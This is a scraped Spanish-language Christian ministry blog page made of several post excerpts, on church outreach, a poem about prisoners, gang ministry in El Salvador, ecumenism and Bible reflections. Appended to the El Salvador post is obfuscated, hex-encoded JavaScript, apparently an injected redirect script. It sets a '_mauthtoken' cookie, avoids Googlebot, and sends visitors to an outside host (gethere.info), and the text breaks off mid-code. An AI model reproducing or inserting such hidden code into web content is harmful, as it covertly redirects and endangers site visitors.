El ministerio de las bancas

Un día cualquiera, al final de su jornada, era posible que debiéramos esperar por ella. Tal vez estaba en unas gradas hablando con alguna de las mujeres que trabajan en la prostitución que se mantienen afuera de la iglesia, o sino, sentada en la última banca, junto a una viuda o anciana, o quizá apresurando sus pasos para traerle unos pañuelos desechables a alguien que llora.  Ella es el mejor ejemplo que conozco de lo que llamo “el ministerio de las bancas”. 
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Preguntas Sorpresivas

Usado con permiso.
Publicado originalmente aquí.

 

 Si tuvieras la oportunidad de hacerle a Dios una sola pregunta, sobre algo que hasta hoy no le has encontrado sentido o explicación ¿Qué le preguntarías?  “Esta es la pregunta que vamos a ir a hacer a la calle,” dijo la facilitadora. “Vamos a salir un rato del templo y vamos a encontrar a una persona para entrevistar,” añadió.

Al principio los participantes del Curso El Escándalo de Dios, se mostraron muy atemorizados e inseguros con la idea de ir a la calle a conversar con personas no-cristianas, pero después de realizar las entrevistas en el parque, su actitud era muy diferente; regresaron entusiasmados, sonrientes y comentando sobre algunas inquietudes de la gente:
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El centro de la cebolla

por Roger Cowan

 

Me encontré con una cebolla tirada en el sol
Abandonada en la basura, donde no podría ser de uso para nadie
Yacía en el suelo sucio con piel oscurecida y marchita
Que no me dejó examinar el contenido que tenía dentro.

Con curiosidad, la recogí y entonces comencé a pelar
Las capas de externas fuera para ver lo que el interior podría revelar
Y mientras hacia mi tarea reduciendo el tamaño superficial
Los vapores de la cebolla trajeron dolor intenso y lágrimas brotaron de mis ojos.

Capas endurecidas, contaminadas fueron las primeras en ser removidas
Pero los aros internos eran más suaves y la calidad mejoró.
Y cuando llegue al centro de la cebolla terminando mi viaje
Descubrí que el núcleo estaba incorrupto; era tierno, fresco y puro.

 Me encontré con un joven en la cárcel su cuerpo cicatrizado, tatuado
Un marginado de la sociedad su actitud violenta, lasciva
Entonces con curiosidad busque conocer como era este joven por dentro
Cual era la naturaleza de su alma que sentimientos escondía

 Su cubierta exterior era despiadada, dura y difícil de penetrar
Pero mientras me gané lentamente su confianza descubrí un estado diferente.
Él derramó la armadura que había construido a lo largo de su sórdido pasado
Para protegerse de las amenazas que había enfrentado lo que me dejo muy horrorizado

Abandonado, hambriento, despreciado, abusado, rechazado por años
La angustia liberada por heridas abiertas trajo dolor punzante y lágrimas
Las capas superficiales de este joven eran vicio, maldad y furia
Pero en su interior yo encontré el amor y la mansedumbre de un niño

¿Cómo podemos alcanzar ese corazón tierno, que caminos podemos idear
Para romper la insensibilidad; para remover lo que causa la muerte de los jóvenes?
No cárceles sino la gracia transformadora de Dios esa debe ser nuestra meta ferviente
Pelar las capas, llegar al centro, liberar su alma anhelante.

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Otra versión de las Buenas Nuevas en El Salvador

Me gustaría reportar sobre algo emocionante que está llevándose a cabo en El Salvador entre los evangélicos e iglesias Cristianas Pentecostales. En respuesta a la desigualdad en la situación social de pobreza, corrupción y violencia, una nueva generación de Evangélicos Centro Americanos y Pentecostales están comenzando a descubrir que a pesar de las dimensiones sociales de conversión que viene a través del evangelismo, el evangelismo sin compromiso social es una interpretación incompleta de la gran comisión y falla en tomar con seriedad la encarnación de Cristo.

Un ejemplo de esto está en la gran iglesia Pentecostal Elim Misión Internacional. Mientras que se mantienen firmes sobre la necesidad de una regeneración personal, el Pastor Mario Vega y su equipo en Elim han comenzado a hablar sobre el involucramiento en la estructura de maldad en la sociedad. “No es suficiente solo predicar el evangelio o dar ayuda al pobre,” me dijo el pastor Vega hace poco. “Debemos denunciar en contra de y tratar de cambiar esas condiciones que causan pobreza.” Esas actitudes han comenzado a ser más y más prevalecientes entre ciertos grupos de evangélicos y Pentecostales, y tan cerca como puedo rastrearlo, son el resultado de una lectura cuidadosa de los evangelios y de la alguna manera la influencia silenciosa de la Fraternidad Teológica Latinoamericana basada en Argentina.

En El Salvador, cientos de lideres Evangélicos han sido capacitados por Semillas, un afiliado de la Fraternidad Teológica, dirigida por Eliberto Juárez. La orientación teológica de Semillas es dirigida hacia ministerios que son siempre sociales e incluso políticos al mismo tiempo que son espirituales. En sus dos años de programa de capacitación, ellos enfatizan lo que llaman ministerio integral – un énfasis en intención integral de la encarnación de Dios de no dejar ningún humano, ni ningún rincón de la tierra sin ser tocado por Su amor, en consecuencia integrando cada aspecto de la vida en el mensaje redentor de buenas nuevas.

Ha habido muchos resultados notables del trabajo de Semillas y de otros ministerios que compartes ideas similares. Permítanme subrayar solo uno que ha hecho un gran impacto en mi. Este ministerio fue generado por Pastor Pedro Landaverde, una pastor de zona en Misión Elim. Pastor Pedro comenzó a trabajar en la violenta y dirigida por pandillas Comunidad Iberia hace un poco más de dos años, trabajando especialmente con jóvenes y pandillas.

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Sin embargo, en lugar de predicar sobre salvación y hacer campañas evangelisticas, él decidió solo llegar a conocer a estos jóvenes y escuchar cuidadosamente de sus necesidades. Todo esto condujo a una cena Navideña con los lideres de las pandillas y sus familias atendidos por el pastor Pedro y el Pastor Mario Vega. En esta cena ellos hicieron estrategias con estos lideres a cerca de que clase de programas los ayudarían a llenar algunas de sus necesidades materiales y económicas. Lo que dio como resultado de esto fue el desarrollo de una panadería donde los miembros de pandillas son capacitados y donde ellos trabajan, y una fábrica de cloro donde ellos hacen y venden cloro como un suplemento de limpieza. La motivación fue simplemente extender el amor de Cristo dentro de todos los aspectos de la vida comunitaria.

En las palabras del pastor Pedro, la violencia de las pandillas fue finalmente neutralizada, y recién abrieron una escuela para niños la que está fuerte. Además, muchos miembros de pandillas se han convertido en Cristianos y están participando activamente en grupos celulares. Pastor Pedro me dijo que “hacer a Jesús de nuestras vidas debe significar más que solo moralidad personal – debe extenderse hacia el exterior a todos los aspectos de la vida, tiene que ver con la justicia en todas las esferas de la vida, y debe tratarse de llevar Shalom a todas las personas ya sea que oficialmente se conviertan en Cristianos o no.”

Esta es una emocionante y relativamente nueva aplicación de la misión Cristiana dentro del evangelismo y no solamente estáé ayudando a cambiar estructuras sociales locales de pobreza y violencia, sino está también retando las vidas mismas de evangélicos Salvadoreños.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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Domingo en la mañana

Así que aquí estoy un domingo por la mañana, sentado en una pequeña parte del Reino de los Cielos. Pueda que no parezca serlo. Era un garaje antes que la dueña dijera que podíamos usarlo para reuniones. Ella dijo que podíamos usarla sin costo, pero decidimos “arreglarlo,” tanto para agradecerle a ella por su gentileza, y para tener un techo sobre nuestras cabezas durante la época de lluvia. Así que vertimos un piso delgado de concreto y colocamos un techo de lamina corrugada. Pero el edificio no es lo principal. Aquí eso es obvio. Tristemente, en otras iglesias, eso no es verdad. ¿Habrían imaginado que yo estaba sentado en una iglesia? Un poco del “Reino de los Cielos” podría haber sido regalado. Entonces de nuevo… tal vez no.
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Ecumenismo Misional en los márgenes

Publicado originalmente en inglés en la Revista Centro.  Usado con permiso.

El ministerio con pandillas nos ha preparado bien para el trabajo ecuménico! ¿Cómo es eso? Hace 20 años cuando mi esposa Jenny y yo comenzamos el ministerio de Cambio Interno entre los miembros latinos de pandillas en San Francisco, los jóvenes pandilleros tiraron por el suelo el guante ecuménico: “Ustedes nos hablan de paz, y nos ruegan que dejemos de matarnos entre sí. Pero ¿que de ustedes Cristianos? ¿Por qué no tienen paz entre ustedes?”

Pregunta difícil. Sin embargo este mismo desafío resuena a través de la historia y alrededor del mundo. Los pobres buscan esperanza en el horizonte Cristiano… frecuentemente en vano. Estas dolorosas realidades confrontan tanto a la misión de la Iglesia y su ecumenismo. Consideremos una respuesta fresca: “Ecumenismo Misional en los Márgenes”.
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Extendiéndose hacia lo incómodo

La semana pasada mi amigo, Jim, otra vez me invitó a hablarle a su clase de graduandos de secundaria en una escuela Cristiana al sur de la ciudad. Estos estudiantes son muchachos excelentes y si me preguntan, sus voces son proféticas…si se atreven a escucharlos cuidadosamente. En la hora que estuve con ellos, usé la mitad del tiempo para describir el nuevo monasticismo como una expresión alternativa de la iglesia y utilicé la segunda mitad del tiempo experimentando con ellos una Lectio Divina. Juntos leímos cuidadosa y quietamente en Juan 20:19-29 y descubrí que sus respuestas eran profundamente serias.

“Nadie se mete con nuestras rutinas de esta forma…
¿puedes darnos la clase de Biblia también?”


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Gracia

Cada martes por la noche, un grupo de increíbles líderes jóvenes se reúnen en nuestra casa.  Hablamos acerca de nuestras vidas, y sobre qué significa servir a jóvenes y a familias en lugares difíciles.  Esta semana hablamos acerca de la gracia.  ¿Qué es? ¿Cómo se siente? ¿Es diferente al karma? ¿Cómo la vemos en nuestro vecindario?  Esta es una compilación de lo que descubrimos como comunidad, y las preguntas que confortaron nuestros corazones.
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“Jesús no respondió nada…”

Jesus y la mujer cananea, por Rembrandt.

Leyendo mi Biblia y reflexionando en el nuevo año, me topé con la historia en Mateo 15 del encuentro de Jesús con una mujer cananea cuya hija “sufría terriblemente por estar endemoniada.” Los discípulos estaban molestos por la intromisión de esta desesperante mujer gentil en medio de lo que se suponía debía ser unas pequeñas vacaciones.

Jesús, sin embargo, estaba asombrado por la valentía de la mujer, y no dice nada cuando ella se le acerca a hablar. ¿Porqué? ¿Qué significa este silencio? ¿Porqué no le responde? Me quedé con este pensamiento por un rato, y luego fui a ver el contexto del capítulo en el que este asombroso encuentro tiene lugar.


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Y me seréis testigos…

Hace ya varios años que esto sucedió, pero hoy el Señor lo trajo a mi mente… Caminaba junto a la directora de una fundación en las calles de un asentamiento en la ciudad de Guatemala, cuando un muchacho, extremadamente afectado por los efectos de las drogas, se acercó a nosotras con un cuchillo grande en la mano. Ni siquiera tenía fuerzas para sostener el cuchillo. Caminaba tambaleándose, pero su mirada era penetrante. Movía su mano por el peso del cuchillo, pero no dejaba de ser amenazador. La imagen frente a mí me dejó petrificada… Por el contrario, la hermana que iba conmigo, lo llamó por su nombre, y le dijo, “Présteme su cuchillo, se lo guardo acá hasta que usted esté bien.” El muchacho emitió algunos ruidos y le extendió la mano con el cuchillo. Siguió su camino y nosotras seguimos el nuestro.

En ese momento no lo comenté ni le busqué muchas implicaciones sobre espirituales o místicas. Lo vi como parte del ministerio en lugares difíciles, y la confianza que se gana al estar ahí. 
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